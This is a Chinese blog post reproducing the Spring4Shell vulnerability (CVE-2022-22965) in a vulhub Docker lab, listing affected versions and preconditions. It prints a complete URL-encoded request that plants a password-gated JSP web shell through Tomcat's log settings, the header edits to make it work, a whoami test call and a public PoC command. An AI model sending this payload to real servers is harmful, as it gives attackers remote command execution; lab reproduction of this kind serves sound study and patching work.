文章最后更新时间为:2022 年 05 月 05 日 14:06:39 Loading... ## 简述 `Spring Framework`是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 `J2EE `应用程序开发提供了一个好用的框架。当`Spring`部署在`JDK9`及以上版本,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行。 Spring Framework存在远程代码执行漏洞,在 JDK 9 及以上版本环境下,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行漏洞。 ## 影响版本 * Spring Framework 5.3.x < 5.3.18 * Spring Framework 5.2.x < 5.2.20 ## 漏洞条件 * JDK9或以上版本系列 * Spring框架或衍生的SpringBoot等框架,版本小于v5.3.18或v5.2.20 * Spring JavaBean表单参数绑定需要满足一定条件 * 部署在Tomcat容器中,且日志记录功能开启(默认状态) ## 漏洞复现 靶机:[https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965](https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965) > docker run -p 8080:8080 -d vulhub/spring-webmvc:5.3.17  构造参数  构造请求写入shell ``` http://192.168.44.131:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= ``` 然后burp抓包,把以下字段删掉 ``` cookie: JSESSIONID=xxxxxx Upgrade-Insecure-Requests: 1 sec-Fetch-Dest: document sec-Fetch-Mode: navigatesec-Fetch-site: none sec-Fetch-User: ?1 Cache-Control: max-age=0 ``` 然后添加字段 ``` suffix: %>// c1: Runtime c2: <% DNT: 1 Content-Length: 2 ```  然后访问 http://192.168.44.131:8080/tomcatwar.jsp?pwd=j&cmd=whoami 返回root  poc:[https://github.com/BobTheShoplifter/Spring4Shell-PoC](https://github.com/BobTheShoplifter/Spring4Shell-PoC) > python poc.py --url=http://192.168.44.131:8080/ 然后访问http://192.168.44.131:8080/tomcatwar.jsp?pwd=j&cmd=whoami 不要多次执行。 Last modification:May 5, 2022 © Allow specification reprint Support Appreciate the author Like 0 如果觉得我的文章对你有用,请随意赞赏
One comment
一会我也试试~